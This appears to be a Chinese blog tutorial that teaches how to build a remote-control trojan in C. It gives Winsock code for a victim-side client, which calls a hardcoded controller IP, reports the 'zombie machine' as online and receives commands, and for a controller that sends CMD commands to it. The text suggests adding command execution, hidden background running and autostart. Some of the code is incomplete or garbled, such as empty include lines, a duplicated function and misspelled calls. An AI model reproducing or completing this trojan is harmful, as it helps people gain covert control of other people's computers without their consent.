服务端与客户端编程

客户端

相信大家都听说计算机木马病毒吧?在很多人眼里,计算机木马都是一种很神秘的存在,悄悄的隐藏在计算机后台运行,监视着计算机的一切行为,能够在无人知晓的情况下拿走敏感文件,并且远在另一端的木马制作者,会通过计算机网络对木马宿主电脑进行控制,而这一切操作木马宿主都无法知晓,那么,木马真的有这么神秘吗?

这里,《一碳科技》教大家用C语言编写一个简单的木马程序,这篇文章先教大家编写远程控制木马中的“被控端”,也就是发送给宿主计算机的程序,这个程序比较简单,目的是为了让大家能理清C语言木马的工作原理,只是编写了基本实现远程发送命令的基本框架。

第一步

编写C代码的第一步,引用头文件,这里分别使用stdio.h、WinSock2.h、windwos.h(高大上一点),注意,WinSock2.h要在windwos.h之前引用,否则会出现错误,并且我们还要加入Ws_32.lib这个静态链接库,否则connect()函数就无法使用。

对第一步做个总结:

WinSock2.h要在windwos.h之前引用

加入Ws_32.lib这个静态链接库

#include
#include
#include
#pragma comment(lib,"ws2_32.lib")

第二步

编写我们连接控制端的函数,在这里会用到socket()函数,recv()函数,WSAStartup()函数、MAKEWORD()函数,HIBYTE()和LOBYTE()函数,这里给大家提一个建议,如果想要学习scoket编程,那么,你就要把socket()、send()、recv()、accept()、listen()、connect()、bind()、这7个函数要学会怎么用并且理解。

第二步的注意事项:

socket API函数调用之前,调用的第一个函数都是WSAStartup()函数。

MAKEWORD()函数几乎都是配合WSAStartup()函数使用,一般情况下,MAKEWORD()函数的参数分别为:2、2。

SOCKET socket_connet(void)
{
	WSADATA wd;
    SOCKET C;
	SOCKADDR_IN server_addr;
	int ret=0;
	char word[BUFSIZ];

	ret=WSAStartup(MAKEWORD(2,2),&wd);

	if(ret!=0)
	{
		  printf("初始化失败");	
		  Sleep(500);
		  return NULL;
	}
	if(LOBYTE(wd.wVersion)!=2||HIBYTE(wd.wVersion)!=2)
	{
		printf("初始化异常!");
		Sleep(500);
		WSACleanup();
		return NULL;
	}

初始化完成,我们就要连接服务器了,分别有四个步骤:

1 创建一个套接字

2 填写向SOCKADDR_IN中填写服务器IP地址、端口、使用的协议族(AF_INET)

3 向服务器发送数据,说明“肉鸡”已经上线

4 接收服务器信息

如果想要“被控端”执行服务器的命令,可以自行添加system()函数,这里就不演示了。

SOCKET socket_connet(void)
{
	WSADATA wd;
    SOCKET C;
	SOCKADDR_IN server_addr;
	int ret=0;
	char word[BUFSIZ];

	ret=WSAStartup(MAKEWORD(2,2),&wd);

	if(ret!=0)
	{
		  printf("初始化失败");	
		  Sleep(500);
		  return NULL;
	}
	if(LOBYTE(wd.wVersion)!=2||HIBYTE(wd.wVersion)!=2)
	{
		printf("初始化异常!");
		Sleep(500);
		WSACleanup();
		return NULL;
	}
	
	//连接服务器
    C=socket(AF_INET,SOCK_STREAM,0);

	//填入控制端地址、端口、协议族
	server_addr.sin_addr.S_un.S_addr=inet_addr("192.168.0.104");
	server_addr.sin_family=AF_INET;
	server_addr.sin_port=htons(6000);

	//连接控制端
    connect(C,(SOCKADDR *)&server_addr,sizeof(SOCKADDR));//与控制端连接

	//告诉控制端“肉鸡”上线了
	send(C,"肉鸡已上线,请指示",strlen("肉鸡已上线"),0);

	//接收并执行控制端指令
	recv_updata(C);
	system("pause");

	return C;
}

好了,写到这里,“被控端”的基本框架已经完成了,剩余的功能可以自行添加,例如执行服务端指令、“被控端”后台执行、“被控端”自启动等功能,这些功能的实现并不难,这里就不多讲了,如果不明白可以私信小编哦!

“被控端”完成了,那么“控制端”在哪呢?别急,下一篇文章会有哦

“控制端”与“被控端”一样,小编只是将基本的框架写出来,能够实现“控制端”与“被控端”的数据交流,控制端能够发送指令,被控端能够接收指令。其余的功能在近期的文章中会教大家如何实现,请关注《一碳科技》!

「教学」C语言木马程序:控制别人电脑+附送源码!

这篇文章是上一篇文章《一篇短文教会你!C语言远控木马:被控端制作,附送源码!》的补充,上一篇文章呢,我们给大家讲了C语言远控木马的“被控端”制作方法,而这篇文章呢,《一碳科技》会教大家制作C语言远控木马的“控制端”,并且这篇文章将上一篇文章的“被控端”代码进行重新整理,以便大家能够直观的看到代码的实现过程。

制作控制端其实不难,《一碳科技》发布过的文章《5分钟学会scoket编程!使用SMTP协议发邮件:附送源码+教学!》中就曾教大家如何使用socket通过smtp协议发送邮件,对比之下,控制端就相当于“smtp服务器”,被控端相当于给我们发送“邮件”的用户。

第一步

首先和往常一样,引用我们需要的头文件,这里我们需要4个头文件:stdio.h、string.h、WinSock2.h、windows.h,除此之外,我们还要加入ws2_32.lib链接库。

在这个程序里,我们需要三个函数,他们分别要实现:接受客户端连接、返回客户端数据、绑定本地端口并开始监听的功能,小编分别给他们取名为:accept_client()、recv_updata()、bind_server(),这里可能有人会有一文:“recv()不是可以接收客户端数据吗?为什么还要重新构造一个recv_updata()函数呢?”,别急,下面会讲到。除此之外,我们还要申请一个存放客户端返回数据的变量——char word[BUFSIZ]。

第一步源码

#include
#include
#include
#include
#pragma comment(lib,"ws2_32.lib")
void accept_client(SOCKET C);	//接受客户端连接
void recv_updata(SOCKET C);		//返回客户端数据
SOCKET bind_server(void);		//绑定服务器,并开始监听
char word[BUFSIZ];				//存放客户端反馈数据

第二步

​我们现在要开始分别构造我们需要的函数了,首先从bind_server()(绑定本地端口并开始监听的功能)开始,这个函数跟往常一样:初始化、创建套接字、服务器信息存入、将套接字与本地端口绑定(这点与之前不同)、开始监听。这里我们讲一下“服务器信息存入”所要用到的两个函数:inet_addr()、htons()。

server_addr.sin_addr.S_un.S_addr=inet_addr("192.168.2.106");//本机IP地址 自行更换
server_addr.sin_family=AF_INET;//使用ipv4协议族
server_addr.sin_port=htons(6000);//将无符号短整型数值转换成网络字节顺序  

inet_addr()的作用是将点分十进制转换成长整型,什么是点分十进制?IP地址是由四字节的十进制数表示的,每字节的十进制数表示范围为0~255,所以,我们平常看到的IP地址的格式都是:255.255.255.255,而这种格式就叫做点分十进制。那么为什么要将这个点分十进制转换成长整型,而不是其他数据类型呢?我们来看一下server_addr结构体中的S_addr成员,这个成员的数据类型为ULONG,而我们的IP地址信息就存放在S_addr成员中,调用inet_addr()函数的原因就是在这里。

htons()在这里的作用是,将主机字节序转换成网络字节序,一般来说网络字节序(大部分)都是指大端传输,目前,使用小端储存方式的CPU有Intel x86、ARM,而小编所使用的计算机CPU是intel的,所以这里要用htonl()函数,把主机字节序的“小端”转换成网络字节序的“大端”。

什么大端、小端?

“大端”、“小端”指的是计算机存放数据的方式。大端指的是:将高位字节储存在内存的低地址,而小端指的是,将高位字节储存在内存的高地址,如果看不明白这里,建议大家去看一下:计算机内存顺序、高字节与低字节。

inet_addr()函数与htons()函数,是这里比较容易“迷糊”的地方,剩下的函数就不多讲了,因为它们在《一碳科技》之前的文章就曾讲解过。

到这里,bind_server()函数就写好了,接下来给大家讲一下recv_updata(),这里为什么要重新写一个recv()函数呢?因为recv()函数接收的数据,要经过处理才能使用printf()函数打印出来,否则printf()函数打印出来的数据将不是我们想要的数据,例如它会打印出:“烫烫烫烫烫烫烫烫烫烫烫”。

而我们这里用strnest()函数对word变量(第一步声明的变量)进行“加工”,将word数组成员全部用“”代替(相当于初始化),然后recv()开始接收客户端数据,word数组的“”就会按顺序替换成客户端数据,而printf()函数读取到“”就会停止打印。

原先申请的word数组并没有初始化,所以里面会自动填充0xCCCC↓

运行结果

第三步

第三步是制作accept_client()函数,这一步没有特别难理解的地方,这里就不多讲了,各位看官根据源代码进行理解就可以了。

void accept_client(SOCKET C)
 {
    
	 SOCKET client;//客户端socket
	 SOCKADDR_IN client_addr;//客户端地址
	 int len=sizeof(SOCKADDR);///accept()参数
	 int ret1=0;//判断accept()是否成功
     char *IP;//客户端IP地址
	 char str[150]={0};//发送指令 	
	 int num=0;

	client=accept(C,(SOCKADDR *)&client_addr,&len);//等待客户端连接
	
	IP=inet_ntoa(client_addr.sin_addr);
	printf("%s 连接到控制端\n\n",IP);
	recv_updata(client);
	printf("%s\n\n",word);
	while(1)
	{
			printf("请发送指令至客户端:");
			scanf("%s",str);
			send(client,str,strlen(str),0);
			recv_updata(C);
			printf("%s",word);
			printf("是否继续发送指令?(是1,否2)\n\n");
			scanf("%d",&num);
			system("CLS");
			if (num==1)
			{
				printf("程序继续执行!");
				Sleep(500);
				system("CLS");
 			}
			else
			{

				printf("正在退出......\n\n");
				closesocket(client);
				WSACleanup();
				break;
	
			}
	}//while()
 
 }//accept_client()
 

这是程序运行结果

先开启控制端,然后开启客户端,客户端连接控制端,控制端显示客户端IP地址,之后控制端就可以向客户端发送CMD命令,图中,小编使用write命令打开了客户端的写字板。

本页共64段,3558个字符,8390 Byte(字节)